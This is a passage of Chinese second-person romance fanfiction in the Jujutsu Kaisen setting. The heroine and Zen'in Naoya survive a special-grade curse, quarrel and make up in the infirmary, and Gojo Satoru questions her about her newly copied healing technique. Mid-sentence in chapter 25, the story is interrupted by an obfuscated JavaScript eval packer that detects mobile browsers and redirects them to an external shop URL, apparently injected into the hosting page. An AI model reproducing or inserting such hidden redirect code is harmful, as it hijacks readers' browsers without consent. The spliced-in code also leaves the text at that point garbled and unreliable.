即使很吃惊,你依然颇具战斗素养,在直哉掠过宪纪身边的那一秒,你松开了搂住宪纪脖子的手,往他的方向跳去。 宪纪只觉得身上一轻,他有些错愕地看向身侧,第一次知道你是如此敏捷的。 直哉稳稳接住你,你灵活地爬到了他的背上并且牢牢抱住,这真的很不体面,毕竟你一直都是优雅的美女(自认),现在像一个猴子玩具一样挂着,边上还有同学们看着……你为自己的形象受损感到深深难过,但是还是命重要。 你的触碰可以让被触碰者豁免结界攻击,你先收起了耗费巨大的大森林环境,再构造了浓缩大小的岩浆围绕在 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好在直哉还是识时务懂变通的,在发现破防困难的情况下,早于你开口,他就从腰间取下了那把小刀。 “咒术师随身带刀什么的真是逊毙了……”他嘀咕着,趁着对方被变成平面的那一秒,将小刀捅了过去。 随着刀柄的没入,小刀死死卡在了咒灵高密度的肌肉里,它哀嚎一声,又因为小刀堵住了出血口,它反而没那么疼了。 “笨蛋直哉!”你着急,在他耳边催促,“把刀拔出来啊!多捅几刀!” “如果能拔出来我干嘛不拔啊!卡住了啊!”他本来就对你刚才抱着宪纪的脖子非常不爽,被你指责了当然立刻回击,“你以为我不知道该怎么做吗?你抱紧我,别多管闲事!” “那你现在拔出来啊!” “浅川离!吵死了!是我不想吗?卡住了啊。” “笨……笨蛋!你想想办法啊。”你气急,低头在他脸上啊呜咬了一口。 “谁是笨蛋?你才……”被咬的直哉耳根微微泛红,他敏捷闪避开对方一记藤鞭,小声对你吼,“笨猫!现在别亲我!” “哈?我才没有!”你佩服直哉的自作多情,明明是咬他都能说成是亲,吵嘴的同时你在脑子里飞速翻找能用的结界,思考到底怎么样才能破对面的防御。 你还在疯狂的思考应对的办法,特级咒灵再次喷射出铺天盖地的孢子,直哉敏捷挪动到它的身侧躲过,伏黑惠和宪纪两人却被正面命中,狗卷棘拉开领子,又使用了咒言‘不许动!’。在特级咒灵被定住的那一秒,直哉在它的身后拔出那把小刀,再一次狠狠插入它的后脑勺。 又卡住了。 你睁圆了眼睛看向直哉,啊呜一口咬在他脖子上:“大笨蛋!禅院有那么多咒具!你干嘛选这么垃的啊!就不能带一个好一点的吗?” “说了现在不许亲我!!!”他一边恼羞成怒大喊,一边回头在你唇上重重亲了一口,还顺便舔了一下。 然后他立刻转头,继续投入战场,大有一副亲你是为了稳住你的大义凛然。 你有些宕机地搂着他的脖子,看着他专注又有些凌乱的侧脸,唇上还留着直哉带来的湿湿的、凉凉的的触感,突然你就豁然开朗了。 如果你和直哉今天真的会死在这里,起码死前也亲了一下,这样已经很好了,至少从生到死他都是完全属于你的,你也不用担心在你死后,他会爱上其他人了。 想到此处,你安心地贴上了他的后颈,闭着眼睛蹭蹭,感受着他的温度和身上淡淡的熏香。 “干嘛…又…发什么疯?现在的姿势难受吗?要不我抱着你?”直哉灵活躲开咒灵的又一记攻击,他嘴上不饶人,语气却是罕见的很温柔。 ‘喜欢你,直哉。’你在心里说。 “说话?”他被你突如其来的安静给整懵了。 “笨蛋直哉!看前面!别分心!”你相信五条老师一定会来的,你们大概率死不了,所以煽情结束!你再次发动地震环境,让特级咒灵又一次被直哉的投射咒法定住。 25.第 25 章 因为越级使用了咒言,狗卷又吐出一大口血然后倒地,宪纪和伏黑重伤。虽然直哉精神还不错,但是因为无法给予对方致命伤害,战况进入了死局。 见己方劣势,你有些认命地叹气,心说外公一定不会同意你和直哉合葬的,你们肯定会分开葬入自家的墓园,那你们就再也见不到对方了,死都死了,总不能半夜爬出来去见面吧。 想到咒术师的身体也有可能被做成咒具,需要专人处理才能安全下葬,你有点后悔今天穿了小草莓图案的内衣,早知道可能被扒光了‘处理’,应该穿成熟一点的纯色款… 你瞄着直哉,心说他腿和胳膊做过光子脱毛这件事应该也要瞒不住了,禅院大少爷是做毛发管理的精致boy,听起来就很有趣! 你胡思乱想着这些乱七八糟的走马灯,同时能感受到直哉的呼吸也开始紊乱,在伙伴基本失去战力的情况下,他受到的攻击也越来越多,咒力消耗极大。 “brother!这边!”不远处一个洪亮的声音响起。 “浅川学姐?!伏黑!狗卷学长?!” 你眼睛亮了起来:是东堂葵!和虎杖悠仁。 虽然来的不是最优解五条悟,但是东堂葵也还可以! 你不知道为什么东堂葵会和虎杖悠仁一起出现,两人关系好得蜜里调油(东堂葵单方面)。不过这不重要,重要的是你们的战力增加了! 强者之间有着天然的默契,东堂葵一边指导着虎杖学习咒术的高端运用‘黑闪’,一边拍手用不义游戏和你们不断交换位置。虽然连东堂葵都无法彻底破防这只皮糙肉厚的特级咒灵,但是它的的确确受到了更多的伤害,你能感受到它产生了想逃脱的退意。 当禅院真希带着特级咒具流云出现,并重重打在它肩膀的花苞上后,意识到敌人数量过多的它毫不犹豫地准备逃跑。 虽然宪纪、狗卷和伏黑已经被刚刚赶到的西宫和熊猫拖走,脱出了战场。但是你和直哉、虎杖、东堂,还有真希对它形成了合围之态。 特级咒灵的脑子确实聪明,逃跑是明智之选。 它用尽全力发出了最后一击,孢子霰弹一般射向众人,过于密集的孢子让大家无法躲避,直哉眼疾手快地把你从背上扯下,用身体压住你挡住了攻击。 你听到他闷哼出声,肯定被打中了,而且很疼。 特级咒灵得手后就跑,伤势较轻的虎杖想追却被东堂葵拦住。 “直哉,不要用咒力,这个孢子是用咒力滋养的!”你敏锐地发现了孢子的运作规律,于是你立刻提醒直哉。为了让其他人也听到,你特意说得很大声。 几个呼吸后,你看到那只特级咒灵逃窜的方向燃起了巨大的爆炸。 虽然没有尝试过(废话),但是你知道那是五条老师的【虚式.茈】。 “五条老师终于来了……”得救了,你的身体都放松了下来。 “哦,刚才有限制悟君进入的帐。”直哉对你解释了为什么五条悟现在才到,他起身往腰间去摸小刀,想让你帮他把身体里的孢子挖出来,摸空才想起那把咒具小刀被特级咒灵嵌在后脑勺带走了。 他身上很痛,还损失了心爱的小刀,于是面露不快:“啧,好浪费。” “那个刀不好,等我回家给你偷把更好的。”你知道直哉很爱护个人用品,他是真心可惜那把小刀。虽然你并不知道你家库存如何,但是外公都快八十岁了,总该藏着点好东西吧?而且你听说…你妈妈生前是做武器的构造术师呢… 对于输出弱项的你来说,直哉就是你最好的武器,为自己的武器配备武器是应该的,你不会有这是否算倒贴男人的困惑。毕竟对于咒术师来说,活着才是最重要的事,刚才如果能有一把好咒具,直哉早就把那个特级祓除了! “哈?禅院难道还缺咒具吗?”直哉表示不屑,心里却有点高兴:这只自私自利的坏猫居然愿意送我乐岩寺家藏的咒具,虽然知道她的目的可能不纯,但是起码有心了。平时我吃她一个我买的蛋挞她都喵喵咪咪的,不过那也是情趣,她毕竟还是个女人,知道在我面前撒娇…… 你注意到直哉身上到处都是被藤鞭刮出的血痕,昂贵的和服也变得破破烂烂,平时打理精心的刘海被风吹乱,连耳钉都掉了一个…你发现他露出额头也挺好看的,没有了刘海的遮挡,直哉漂亮的脸完全显露出来了,看起来比平时更稚嫩,让你很想欺负…不过暂时还是别了,他是真的受伤了。 “干得不错,MS.浅川,还有这位不知名的男士。”东堂葵似乎没想起来直哉是谁,所以随便代称了一下。 “我是禅院直哉!”直哉可不是被忽视也无所谓的性格,他立刻牙尖嘴利地回呛,“东堂葵,你脑子里也都是肌肉吗?连别人的名字都记不住吗?” 东堂葵根本不在意直哉的感受。他眼里只有兄弟和小高田,偶尔还有最强的五条悟。 “浅川学姐,你和禅院先生真的好厉害!”虎杖发自内心地说道,在他看来直哉的出拳快到无影无踪,虽然不是完全明白,但是那只特级咒灵的身形一卡一卡的,应该是你们的术式效果。 你和直哉的确有效遏制了特级咒灵的攻击,为大家争取了时间。 “呵。”真希也挂了彩,她一边收起游云一边冷笑,毕竟直哉是禅院百分百零好评的屑人,‘觉得禅院直哉很恶心’已经刻入了她的骨髓。不过‘呵’完真希也想起来,至少此刻这个垃圾是友军,于是她没有多说什么,招呼虎杖回去了。 东堂葵虽然是京都校的,但是他对虎杖悠仁产生了极大的兴趣。即使真希一头雾水,他也非常强硬地跟着他们走了。 人都走光了,只剩下你和直哉。 你轻手轻脚扶住对你来说算是庞大的直哉,他受的伤不轻,背后嵌着的孢子随着动作拉扯而扩大伤口,看起来挺疼的。而你完好无损,只有手勒的有些红,即使是面对特级咒灵,直哉也把你保护得很好。 “直哉,你……我都说了来东京的是小狗……”你有些在意这件事,你说了这样难听的话,直哉居然还来了东京,这实在是有些出乎你的意料。 “哼。”直哉因走动拉扯伤口而疼得倒抽一口冷气,听到你又提起这茬,他冷笑起来,语气傲慢又挑衅,“白痴吗?我为什么会来?你还不知道吗?” 你听他这语气就知道他想吵架,你的火气也隐隐约约上来了,并开始酝酿如何反击,反正直哉受伤的是身体而不是嘴,和他吵架不算欺负伤员。 你抬眼刚准备说话,看到他的狼狈样子,又心软想这次就让让他吧。 注意到你的表情,直哉也停了脚步。他扭头,似笑非笑地看着你,趁你不注意,他突然弯腰凑近,就在你以为他要亲到你的那一秒,他微微侧头将脑袋贴上你的耳垂,用刻意黏糊又尾音上扬的关西腔对你耳语:“因为,我就是你的小狗啊。” 你被他这近乎无赖又带着暧昧的发言惊到睁大眼睛,脸‘刷’地一下爆红。 虽然你日常狗塑直哉,但是他亲口承认还是第一次,你只觉得心脏怦怦跳得比刚才面对特级咒灵时还要剧烈!你不断告诉自己,只是动物小狗而已,不是那种小狗!不要色迷心窍!不要上头! 直哉明显是被你这副心慌意乱的样子取悦到,他没有直起身子,反而舔了舔你的耳垂,用更轻更黏的声音轻轻说。 “汪。” “直哉!”你的耳朵被他弄得酥酥麻麻的,这下你彻底破防,羞恼地伸手用力一推,居然把一米八的直哉推倒在了地上。 直哉吃痛倒地,一脸震惊地看向你。 你没想到他真的会被你推倒!你们在一起的时候,偶尔你感觉疼了就会用力推他,那时候的他像一堵墙一样纹丝不动,现在怎么一推就倒了?! 哦,对了,他受伤了。你赶紧去拉他。 直哉也没想到你居然攻击伤员,他哼笑着搭着你的手踉跄起身,然后一把将你拉到近前,趁着你还一脸懵的时候,低头狠狠地咬了一口你的嘴唇。 “痛!”你感觉到嘴唇被咬破了,于是抬手就想反击,可是又看到他的胸口还在渗血,便决定晚点再教育他!就算是小狗,也不可以乱咬人! “现在轮到我问了,你和加茂宪纪是怎么回事?嗯?”狠狠咬你一口后,直哉意犹未尽地舔舔嘴唇上的血,用危险的语调问出了他最在意的问题,“你为什么让他抱你?还搂得那么紧?浅川离,你当我是死了吗?” “嚯,不然呢?站那里等死吗?你难道不知道我体术很差?”你早就知道直哉会问这件事,也准备好了反击方案,“抱一下怎么了?抱一下会死吗?” 直哉被你的话气笑了:“我看他是早就心怀不轨!抱一下不会死!可是他如果想做更多呢?” “哈?”你没想到直哉借题发挥到这个程度,这完全是找茬。于是你也阴阳怪气起来:“是吗?抱一下那么严重哦!好吧,看来失去清白的我只能嫁给加茂同学了,我等下就去和外公说,让他去加茂家提亲。” “浅川离!你敢!”你的话就像一记重锤砸得直哉瞬间惊慌失措,他恼怒和嫉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085656|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妒的表情僵硬在脸上,转化成一种难以置信的恐慌和……受伤? “干嘛摆出那副表情!禅院直哉,你承认吧!在你心里我的地位低于加茂同学,所以你会觉得他抱了我,是我吃亏了,连带着你也吃亏,不是吗?如果你重视我,你应该觉得我是赚了才对呢!毕竟加茂同学很年轻,我和三轮看恋爱综艺,上面说男高中生是钻石呢!”你越说越理直气壮,甚至有些得意地叉腰,自己都信了占大便宜。 “哈?钻石?你想要钻石我去买不就行了,还需要那个加茂宪纪给你……等一下。”直哉这个封建大少爷平时很少上网,对于各种新鲜的词汇也不太理解,但是他感觉这句话非常不对劲!他回味了几秒,瞬间涨红了脸,破口大骂,“什么啊!浅川离!我哪里让你不满意了吗?!我,哪一次我没有做好吗?你,你……你无耻!” 你不想继续关于宪纪的话题,于是故作冷淡地斜睨他一眼,看着他因情绪激动而不断渗血的胸口,还有花容失色的漂亮脸蛋,难得产生了心疼的情绪:“好了,不许再说了,笨蛋。先去找家入医生吧。” 你伸手去扶他,他哼唧,但是没有推开你。 “浅川离,晚上你给我等着……”直哉捂着胸口只觉得内伤更甚,他现在无暇顾及宪纪抱了你这件事,只非常在意钻石,虽然晚上他不一定能做什么,但是狠话还是要先放出去,不然实在是丢了禅院家少主的面子。 “你都这样了晚上还想干什么?”你拽着他前行,顺便用他的话反击,“反正不管怎么样,你是小狗,刚才你都承认了!小狗就要听主人的话,我是主人!” “浅川离!”直哉只觉得伤口更痛了,你是真的很懂怎么气人! 你停下,松开他,然后将手放到他的面前。 直哉狐疑地看着你。 “手。”你说。 他不知道你想做什么,但是还是把手搭了上来。 “换一个。” “干嘛啊?”他不明就里,换了只手给你握着。 “坐下!” “浅川离!”直哉终于意识到你这个坏猫居然是在训狗,如果可以他都想立刻把你……但是不行,如果真这样做了,那不是更像狗了吗? “不许咬人!”你有些警惕地看向直哉,他看起来咬牙切齿的,好像下一秒就要咬断你的脖子。 直哉怒气冲冲地盯着你好一会儿,突然福至心灵:她是真的很坏,我都受伤了,她还不肯让让我,还要和我吵架、戏弄我……这么坏的猫,也只有我能受的了。 就算她和加茂宪纪真的在一起了,不出一个礼拜,加茂那个古板的小子就会惊慌失措地提分手吧? 想到此处,直哉只觉得胸口的郁气都烟消云散了,你实在是个恶劣的家伙,这让他反而更有安全感!就好像他是世界上唯一可以接纳你、包容你的那个例外。想着想着他自己都笑了。 你有些忐忑地看向直哉,心说他怎么就笑起来了,该不会是刚才被打到脑袋了吧? 因为确实很担心他坏掉!你赶紧拉扯着他往医务室赶,手心传来独属于直哉的温度,让你稍稍安心一些。 你才拉着他走了两步,他又开始喊痛。 “我要不要打电话找人来帮忙…”你是真的有点慌了,虽然直哉是个娇生惯养的大少爷,但是作为咒术师受伤也是家常便饭,他平时都不会在你面前吭声的,这次是不是伤得太重了… 你俯身去查看直哉的伤口。 下一秒,你只觉得天旋地转然后就躺在了地上,直哉单手垫着你的后脑勺,另一只手捏着你的下巴,毫不犹豫地对准你的嘴唇亲了下来。好久好久,你被亲得都开始缺氧了,于是你推他,呜咽着质问他想干嘛。他停下动作,居高临下地盯着你,自顾自笑起来:“有什么可大惊小怪的,小狗不就是这样的吗?” 看着他略带狂气的邪笑,你承认有一点被他漂亮的脸蛋和上挑的金绿色凤眼迷惑,一时间都忘记了反抗。 他又俯身亲你,这一次动作轻柔又缱绻,亲完他把头埋在你的颈窝狠狠吸了一口,喟叹出声:“我想你。” 你抓着他的头发,一时间不知道该怎么回答,其实你好像……今天也想到他好多次,这也算想他吗? 你能感受到直哉的血渗透过衣物布料流到你的身上,如果是以前你肯定疯狂推他,不想自己的衣服被弄脏。 现在你却开始害怕,害怕直哉真的流血过头死掉,你一边催他起来去医务室,一边思考能不能拓印一个治疗的环境…不过这个以后再说吧! 26.第 26 章 交流会首日下午,东京校医家入硝子忙得焦头烂额。 本来她做好了治疗几个学生的心理准备,没想到学生们基本上都受伤了,好几个还是严重战损,大家身体里都带着特级咒灵留下的诅咒孢子,要一个一个取出来也是非常麻烦。 陪着直哉来的你基本没有皮外伤,只是精神上受到了一点特级咒灵的惊吓。于是你自然被家入医生派发了力所能及的工作。你这边刚扶着绑着纱布的宪纪坐下,就见到不远处直哉怒气冲冲地瞪着他,那双漂亮的上挑凤眼里怒火几乎燃烧起来。 宪纪当然也注意到了正在接受治疗的禅院直哉几乎实质化的敌意,但是他平心静气没有回应,一方面是他确实挺沉稳的,另一方面是他身上真的很痛。 “加茂,这样坐着可以吗?”你无视直哉针刺一样的恶毒眼神,拿了一个枕头垫在宪纪的腰后,让他能坐的舒服一点。作为第一波直面特级咒灵的倒霉蛋,他和伏黑受伤都挺重的,在对抗特级的同时宪纪还要保护你这个‘累赘’,所以他是学生里伤势最重的人。 “哼。”直哉见你没理他,重重哼出声,妄图用动静来唤回你的注意力。 就很幼稚,小动物一样。 你看了直哉一眼,并没有被他召唤过去,而是转身去给吐了好多血的狗卷倒水喝。 在家入医生为直哉治疗的时候,你是绝对不会凑过去的!因为那实在是太像家庭电视剧里的妈妈,带着调皮摔伤的长男去医院,担心地凑到医生边上问:“老师,我家雄大怎么样了?膝盖的擦伤没事吧?” 想想就觉得好恶心,你脑补后恶寒地搂了一下自己的胳膊。又转身按照家入医生的吩咐,拿了小冰箱里补充能量的医用巧克力,先给了距离最近,肩膀受伤的禅院真希。 “哼。”她接过,然后看着你哼了一声,接着动作有些粗暴地撕开了巧克力丢进嘴里,她炸毛动物一样的小眼神和小动作让你幻视你的直哉。 在你心里,禅院的人基本上都是嘴角向下的表情,罕见阳光开朗的人,直哉一直觉得你肯定会嫁进禅院,你自己却不这样觉得。 “哇,谢谢浅川学姐!”虎杖也分到了巧克力,他就很高兴!眼睛都是闪亮闪亮的!他是真的很喜欢你:虽然你不是高个子大屁股的女人,但是你温柔善良还帮助过他! ‘这样才对嘛。’你很满意虎杖悠仁的反应,虽然他是宿傩容器,但是你对他很是喜爱,咒术师里开朗好个性的人其实不多,三轮算一个,他也算一个。 没有直面特级咒灵的学生基本上不用来医务室,你听说三轮被狗卷棘的咒言催眠,现在还在呼呼大睡。多亏了狗卷,如果不是他催眠了你的好朋友,她可能也得挨特级咒灵的揍。 受伤较重的人包括伏黑惠、加茂宪纪、狗卷棘和你的直哉,四人被家入医生判定需要静养一夜。反转术式治疗完毕,你扶着直哉去了病房。你刚搀着对你来说体型很大的他躺下,他就用力一把将你拉到了身前。 “小心伤口。”因为担心他的伤口裂开又要麻烦家入医生,你很是紧张地看向直哉。 “离…你和加茂宪纪……真的没什么吗?”直哉黑着脸,沉着声,“你说他是……钻……”他觉得这个形容实在是太过分了,他都说不出口! “什么?”你没听清楚。 “你说他是钻石!你是不是试过了?!”终于,他突破心理障碍说了出来!你看到直哉那张精致美丽的脸因嫉恨而扭曲,他重重地捏住你的下巴迫使你抬头看他,“你们在任务中,或者在京都校,是不是背着我,早就……所以你搂他的脖子是那么自然!是不是!浅川离!你告诉我是不是?!” “你疯啦?!”你想挣脱,他却越捏越紧,那双金绿色的眼睛都好像要变成火红眼了。 你往后退,他又拉住你的手腕。 你感觉手腕都要被他捏断了,你又痛又气,于是你抬起了另一只手。 PIA! 直哉被你清脆的一巴掌打懵了,虽然你们日常打打闹闹,但是打脸……好像还是第一次。 他懵了,你也是。你局促地将手在床单上搓了搓来掩饰不安,好像刚才沾染到什么脏东西一样。 你其实压根没有想打直哉耳光!但是他身上都是伤口,你推他打他其他地方都不妥,脸是完好的所以可以打……你给自己找补着,同时气势却没有输:“收起你那肮脏的思想!禅院直哉!我可不是那种女人!” 听到你气势如虹的宣言,虽然脸上挨了一记,但是直哉内心的怒火却一秒平息了下来。 ‘她因为我的怀疑生气了。’ ‘她很生气!’ ‘说明……这说明,说明她和加茂宪纪真的什么都没有,她觉得被我侮辱了,所以给了我一耳光。’ ‘她……还是我的,完完整整只属于我,我没有被迫和杂碎分享她。’ 因为得到了想要的答案,直哉只觉得是被你摸了一下脸,被打脸的侮辱?被自己的女人打几下怎么了?这算哪门子的侮辱?而且你的巴掌都是香香软软的,再打多少个都不疼。 得到了想要的答案,他立刻换了表情,笑着眯起眼,周身凝滞的气息都流动起来,几近谄媚地想要拉你的手,像一只狡猾的狐狸一样对你撒娇卖乖:“好啦好啦,别生气啦……” 你啪嗒一下打开了他的手,提高声音,郑重宣布,“禅院直哉!你听着!我才不是那种畏首畏尾的女人!如果我睡了加茂同学、五条老师,还有……反正随便是谁。我都会和中了彩票一样马上通知你!” 说完这几乎不讲道理但是又很有道理的宣言,你无视直哉瞬间又面如死灰的暴怒脸庞,自顾自走远一些距离后回头:“好了,直哉。你一个人冷静一下,我去食堂吃点东西,会给你带的。” 你其实根本不想给直哉带任何好吃的,这脑子有问题的家伙吃点病号餐得了!但是你想吃乌冬面又想吃荞麦面,给直哉带乌冬面,你吃荞麦面,等他吃乌冬面的时候你尝两口,那就两种都吃到了,计划通! “你……”直哉知道你说的是真心话,所以你绝对没有睡过加茂宪纪,更别提五条悟,但是你这种理所应当可以出轨的态度又激怒了他,他张了张嘴,想问你有没有道德,有没有良心?可是你根本不给他说教的机会,大步流星地走出了病房,还很体贴地带上了门。 你走出病房,只见家入医生正和五条悟站在门外的走廊上。 他们的表情非常精彩,家入医生一脸似笑非笑的淡然,五条悟则明显是在拼命憋笑。 你心里‘咯噔’一下,惊觉好像刚才说话太大声了,这么近的距离,咒术师的五感强于普通人,特别是五条悟……他们应该都听到了。 “五条老师,家入医生。”你低下头,声若蚊蚋,暗自希望他们别有更多的反应,最好就这样看着你离开。 “嗯哼~小离。”五条悟真的很想哈哈大笑,但是他硬生生憋住了,强撑着一本正经地回应了你的打招呼。 “浅川同学,请等一下。”让你没想到的是,叫住你的居然是家入医生。 “欸?”你闻声抬头。 “嘴唇破了。”家入硝子对你伸出手,在你面前虚虚描摹了一圈,随着温暖的光圈落下,你嘴唇上被直哉咬破后刚结痂的伤口瞬间完全愈合了。 “……啊。”被这样美丽的大姐姐关照,你瞬间脸红,“谢,谢谢家入医生。” 她摆摆手表示没关系,然后跟着五条悟一起离开。 你在原地站了好久,脸越来越红,不是不好意思,更不是故乡的百合花开了……而是你好像,好像理解了反转术式的环境。 这是一件非常、非常、非常重大的事情。 你的环境结界构造术,达成的底层逻辑是‘理解’这个环境,就像你多次去观摩美容院的脱毛过程后学会了强光环境一般。在医务室你目睹了好几次家入医生的治疗,现在又亲身经历,即使你并不是刻意去学,反转术式的环境还是刻录一般进入了你的环境库。 ‘怎么办怎么办。’你并没有掌握了神兵利器的快感,巨大的恐慌一下子攫住了你的心脏。 如果不是怕丢人,你甚至想跑回直哉的病房,然后拉着他立刻逃回京都。 反转术式是咒术界的瑰宝,家入医生是瑰宝的主人,而你随随便便就把她的宝物复制到了自己的装备栏。 不管怎么说这样都很过分!而且……据你所知,目前咒术界可以将反转术式使用到他人身上的只有特级咒术师乙骨忧太和家入医生,而他们都隶属于东京咒术高专,是五条悟的学生和同期,完全就是五条派。 你的外公是五条悟口中的老橘子,你应该就是小橘子,你的男朋友直哉是封建代表禅院家的少主,你的搭档宪纪是加茂家少主,你简直就是五条悟想要 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你做着心理建设,告诉自己你本来就不是故意偷的,就算是杀人,故意和过失也是天差地别的吧?而且五条悟不可能因为这件事就干掉你,他虽然和你不在一个阵营,但是他不是那么小气的人,他的学生叫他笨蛋都没问题,应该也会宽容你…的吧? 你一边宽慰自己一边缓慢挪动,走着走着发现到了家入医生的医务室前。 是啊,这件事,首先应该告诉家入医生,你意识到自己的潜意识在这样说。虽然大家都默认家入医生是五条悟的人,但是她也是独立的个体,你不先告诉她而是先告诉五条悟?那样简直就像遇到了朋友却先和她丈夫打招呼一样离谱。 你深呼吸,敲敲门。 里面传来一声慵懒好听的成熟女声,‘请进’。 “家入医生,我……”你推开门却没有走进去,只站在门口。 在硝子眼里,看到的就是布偶猫一样猫猫祟祟的你,涨红着脸,好像在酝酿着什么惊天之语一般。 ‘怪可爱的,乐岩寺的外孙女。’她微眯着眼睛,幻视你是一只直立行走还穿了衣服的枫叶开脸布偶猫。 “进来吧。”她放下还未点燃的烟,对你招招手,笑道,“怎么了这是?脸红红的,是谁欺负你了?那个禅院直哉吗。” “我……”你小小往前一步,因为心虚而不敢靠太近,你先看地板又看自己的小皮鞋,然后才鼓起勇气抬头,“家入医生,我刚才,被动,被动拓印了你的反转术式环境!我也,我也可以用反转术式了,对,对不起!” 你在直哉面前永远是理直气壮能言善道的,可是面对温柔如春风一般的漂亮大姐姐,你心虚到说话都结巴了。 是啊,人家的术式是毕生心血,你随随便便就复印了一份算什么,算欠揍吧?你忐忑不安。 “哦?”硝子很是意外地看向你,语气波澜不惊,“是吗?恭喜你。” “欸?”你以为她至少应该露出不高兴的表情来吧? “这是好事。好了,没什么事的话你先走吧……”硝子的话还没说完,你就惊恐地看向她的身后,如感到恐惧的猫一样睁圆了眼睛,她身侧的病床帘子被一只修长的大手掀开,在你眼里比东堂还高大的五条老师打着哈欠走了出来。 “本来只是想借医务室休息一下,没想到听到了那么有趣的东西啊。”他看向你,即使隔着眼罩,你也能感受到每一寸皮肤都在被他的六眼扫描。 “五条,你没睡着?”硝子挑眉。 “小离来了,我怎么睡得着?”五条悟似是指责你吵醒了他,又意有所指,他人高腿长,几步就来到了你的面前,弯腰低头透过眼罩看你,“这可是大事件呢,要不要和老师聊聊?偷灯油的小老鼠?” “我,我和家入医生还有话……”你想拿硝子当挡箭牌,肩膀上却落下了难以承受的重量,五条悟好似老友一般压着你的肩膀,将你转了个圈,你被迫跟着他走。 “保重。”硝子点起烟,祝福你,“别乱来。”后面这句话应该是说给五条悟听的。 五条悟右手压着你,左手往后摆摆,表示他听到了。 你心脏狂跳,只能僵硬地跟他走。此刻你只希望直哉别突然跑到你们面前,倒不是你想维护直哉,而是……如果只有你和五条悟,你掉掉眼泪抱抱大腿装一下可怜小孩,他估计就不好意思和你计较了!如果直哉在,其实还是要脸的你反而很难发挥…… 说通俗易懂一点就是,如果你在直哉面前对五条悟可怜兮兮撒娇卖萌扭成麻花,以后你们吵架他就得到了一件永久性的武器… 27.第 27 章 被五条悟带走,一开始你还是很害怕的,但是很快你就整理好了思绪:最坏的结果就是被他扣在东京干活,没有人身危险。 留在东京嘛,好玩好吃好逛的地方肯定比京都多,直哉嘛……每周见一两次就行了。只是留在五条老师身边,等于靠近危险的漩涡……但是现在也不是你可以挑挑拣拣的时候。 五条悟将你带到他的办公室,咔哒一声顺手关上了门,小小的你站在空旷的大房间里,显得有些手足无措。他在办公桌后的黑色皮质椅子上坐下,客气招呼你也坐。 你谨慎地选了距离他最远的沙发规规矩矩坐下,并不是心存抵抗,大概就是小动物会自觉远离大动物的本能吧。 “小离没有做错事哦,不需要那么紧张。”五条悟对你招招手,“过来,靠近点。” 你僵硬地挪动身体,将自己放到了他办公桌对面的客椅上。 如果你没有一个叫‘乐岩寺嘉伸’的外公,那么作为学生的你根本用不着担心,五条老师对学生可好了。可惜你的外公是老橘子,他和总监部以及加茂、禅院两家都来往密切,算是一筐老橘子里的大橘子? 你心虚不敢去看他的脸,生怕被他捕捉到你紧张害怕的情绪。 没来由的你想到上次和直哉吵架时,他那个‘五条悟对你百依百顺’的假设。你突然很希望这是真的。如果五条悟真的和直哉想象中一样听话就好了……那你现在马上坐到他的位置上,还要命令他把好吃的都拿出来! “其实老师我一直都对小离很感兴趣,只是没有什么机会和你单独聊天呢。”五条悟的语气一如既往轻快,清爽得完全不符合他的真实年龄,“小离呐……虽然只是准一级咒术师,但是瞬间能渲染出那样的环境,你的小脑袋简直是一台超级计算机嘛,在没有六眼的情况下,需要用到庞大的咒力来操纵术式吧?” 你没想到他居然开始一本正经的术式讨论,于是你讷讷点头:“是。” “我不会因为小离学会了反转术式就生气啦,我没有那么小气,但是。”五条悟说着摘下眼罩,海洋之心一样的漂亮眼睛看向你纤细的手腕,“小离和忧太不一样,忧太有反抗大部分人的能力,小离嘛…好像一件咒具一样,随随便便就能被人拿走锁起来呢。” 你知道他说的是对的,虽说直哉和外公都会保护你,可是总监部的势力浩大,如果他们知道你学会了“反转术式环境”,肯定会为你设置一个岗位,逼迫你不断为总监部的人提供治疗,人身自由都会受限。 此刻你第一次想支持直哉的家主梦,如果他是禅院家主,你的安全性会大幅度增加。但是你也明白,你的直哉不够强也不服众,不做家主才是他最好的出路……想着想着你轻轻掐了一下自己的大腿,赶紧将思绪拉扯回来,现在的你需要做的是打起精神对付五条悟,而不是考虑男朋友能不能做家主这样遥远的事情。 还有……这六眼也太美丽了,你偷偷看了一眼又赶紧收回视线,心中感叹五条悟的眼睛好看到超出人类的范围了,简直就是宝石。 五条悟托腮看你,发出长长的‘嗯’声,好像在思考到底怎么处理你更好。 他看了太久的时间,那专注的眼神让你的脸都开始发烫。 “啊,对了。小离的母亲,乐岩寺明光小姐!其实和我叔叔定过婚哦……”他突然提起你的妈妈,“明光小姐是构造术师,天赋异禀,当时也被称为乐岩寺的天才呢。不过她和小离还是差得远呢。我们小离到底是像谁呢…” 你心虚垂眸,心说突然提我妈妈和老黄历的婚约干什么,五条悟的叔叔肯定也早就结婚了吧,不像妈妈就是像爸爸呗,他该不会还要问你喜欢爸爸还是妈妈……等一下!你灵光一闪!提起妈妈的婚约…五条悟难道是在暗示你嫁给他? 你无法控制自己的幻想,如果五条悟现在要求你嫁进五条家其实也挺好的,直哉可能会闹一下,不过他也崇拜五条悟……干脆陪你一起嫁到五条家好了,这样他应该也会高兴吧? 如果你和最强生了孩子,五条悟看起来不像是拘泥于家庭的人。那你可以把孩子带回家和直哉一起养吗?直哉那么追求力量,如果能亲手培养一个最强的孩子……听起来也蛮好的哦? 因为这个设想实在是太好了,你都忍不住想笑了,但是碍于现在是严肃的谈话,你只能死死咬住下唇,不让自己笑出声。 “小离,想拓印无量空处吗?” “啊?哈?”你从幻想中脱离,震惊抬头。 你早知道五条悟和京都势力不对付,可是没想到已经到了这个程度……他想让你变成傻子吗? 五条悟看着你因惊恐而放大的琥珀色清透瞳孔,大概是读懂了你的想法,他‘哈’地一声笑出来,伸手轻轻弹了一下你的额头:“在想什么呢,老师当然会保证你的安全,试试看嘛。” 